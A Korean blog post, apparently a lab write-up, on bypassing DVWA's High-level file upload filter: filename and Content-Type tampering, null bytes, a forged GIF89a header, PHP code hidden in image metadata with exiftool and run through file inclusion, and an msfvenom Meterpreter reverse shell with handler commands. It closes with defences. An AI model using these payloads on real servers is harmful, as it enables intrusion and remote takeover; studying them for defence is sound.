웹 해킹 & 보안

[웹 모의해킹] File Upload - 파일 업로드 취약점 실습 - 3편

ahhyun98 2025. 6. 3. 17:07

 

이번 실습은 DVWAFile Upload 기능을 대상으로, 보안 레벨 High 환경에서 발생할 수 있는 파일 업로드 우회 공격 시나리오를 다뤘다. 단순한 확장자 우회를 넘어서, Null Byte 공격, Burp Suite 조작, hexedit 파일 시그니처 위조, ExifTool을 이용한 메타데이터 악성코드 삽입 등 고급 기법을 실습하였다.


1. 공격 개요

 

파일 업로드 취약점공격자가 악성 스크립트를 서버에 업로드하여 웹쉘 실행, 리버스 쉘 연결, 시스템 탈취로 이어질 수 있는 위험한 공격이다. 특히, 보안 설정이 강화된 High 단계에서도 필터링 우회, 시그니처 변조 등을 활용하면 우회가 가능하다는 것을 보여주는 것이 이번 실습의 목표이다.


2. Null Byte 공격을 이용한 확장자 우회

 

 

 

과정 요약

 

1. Burp Suite에서 업로드 요청 가로채기

2. filename="game.phpF.jpeg"로 수정 (F는 ASCII 46번 , 즉 . )

3. 해당 46 바이트hexedit에서 00 (Null Byte)로 변경

4. 결과적으로 서버에서는 .php까지만 인식

 

주요 포인트

  • Null Byte (0x00)문자열 종료 문자로 인식됨
  • High 레벨에서는 서버 측 검증에서 전체 확장자를 읽지 못하게 함. 
  • Medium에서 먼저 테스트 => 성공 => 다시 High로 돌아와 테스트 => High에서는 막히는 것을 확인할 수 있었다. 

3. Content-Type 조작 + GIF 헤더 삽입 (Burp Suite 활용)

 

다른 방법으로 우회를 해보았다. 

 

1) 파일명 우회

 

filename="ahhyun.php.jpg"
Content-Type: image/jpeg

 

=> Burp Suite에서 요청 가로채서 Content-Type 하단GIF89a 삽입

=> High에서도 우회 성공!!

 

 

2) 또 다른 우회 

filename="hi.php"
→ Burp Suite에서 hi.php.png로 변경
→ Content-Type: image/jpeg
→ Body에 GIF89a 삽입

 

 

=> 실행 성공!! ahhyun.php.png가 PHP로 동작하게 됨.

 


4. hexedit를 이용한 시그니처 조작

new.php.jpg 업로드 시 실패

1. new.jpg => new.php.jpg로 확장자 변경

2. hexedit로 열고 시그니처 조작:

  • FF D8 FF EL 69 66 45 78 => 실패

  • 다시 시도 : 47 49 46 38 39 61 (GIF89a) 삽입

3. 한 줄 띄우고, 스페이스 6개 삽입

4. 결과 : 성공!

hexeditor -b hi.php.jpg
CTRL + G → 위치 이동
ASCII : SPACE(0x20) → 삽입

 

 


5. ExifTool을 이용한 악성 PHP 삽입 (mung.png 실습)

 

ExifTools는 디지털 이미지, 오디오, 비디오 파일 등 다양한 파일 형식의 메타 데이터를 읽고 수정할 수 있는 강력한 도구이다. 

 

삽입 명령어

exiftool -DocumentName='<?php phpinfo(); __halt_compiler(); ?>' mung.png

 

또 다른 시도

exiftool -Certificate='<?php phpinfo(); die(); ?>' mung.png

 

더 정교한 리버스 쉘 코드로 삽입 가능

exiftool -DocumentName='/*<?php /**/ error_reporting(0); $ip = "127.0.0.1"; $port = 4444; ... ?>' mung.png

 

=> 실제로 mung.png는 DVWA File Inclusion 기능을 통해 실행됨

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=....//....//hackable/uploads/mung.png

 

 


6. Meterpreter 세션 확보

msfvenom -p php/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw > mung.png
exiftool -DocumentName='...' mung.png

 

Metasploit 실행

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
exploit -j

 

이후 File Inclusion 요청으로 코드 실행 => Meterpreter 세션 획득

sessions -i 1

 


7. 전체 공격 흐름 요약

단계 설명
1단계 Burp Suite로 파일명, Content-Type 조작
2단계  Null Byte 삽입하여 확장자 필터 우회
3단계 GIF 시그니처 (GIF89a) 삽입
4단계 hexedit로 시그니처 수정
5단계 ExifTool로 이미지 메타 데이터에 PHP 삽입
6단계 File Inclusion으로 악성 PNG 실행
7단계 리버스 쉘 연결 성공 및 Meterpreter 세션 확보 

8. 배운 점 & 느낀 점

  • High 보안 레벨에서도 조작을 통해 우회가 가능하다는 점이 인상 깊었다. 
  • Burp Suite는 공격자가 헤더, Content-Type, 파일명 등을 조작하는 데 매우 강력한 도구였다. 
  • 단순 확장자 필터링만으로는 공격을 막기 어렵고, 시그니처 기반 방어, 파일 실행 권한 분리 등 다양한 방어가 필요하다는 것을 다시 한번 느낄 수 있었다.
  • ExifTool이나 hexedit 같은 도구도 공격에 충분히 활용될 수 있다는 점을 깨달을 수 있었다.

9. 대응 방안

이번 실습에서 확인된 고급 우회 공격에 대응하기 위해, 다음과 같은 보안 조치를 서버 측에 반드시 적용해야 한다. 

보안 조치 설명
실행 권한 제거 업로드 디렉터리에서 PHP 실행 차단
확장자 및 MIME 필터링 허용된 확장자만 수용하고, 서버 측에서  MIME 검증 병행
파일명 무작위화 사용자 업로드 파일은 UUID 등으로 이름 변경하여 저장
Null Byte, 이중 확장자 차단 .php.jpg , null byte 등 우회 문자열 검증 필수
메타데이터 제거 업로드 전 이미지의 Exif 정보 제거 또는 재압축 처리

 

 

 

 

이 블로그는 불법 해킹 및 악의적인 활동을 지양하며, 그런 행위는 절대 권장하지 않습니다.

모든 실습은 허가된 환경에서만 진행해야 하며, 법적 책임은 사용자 본인에게 있습니다.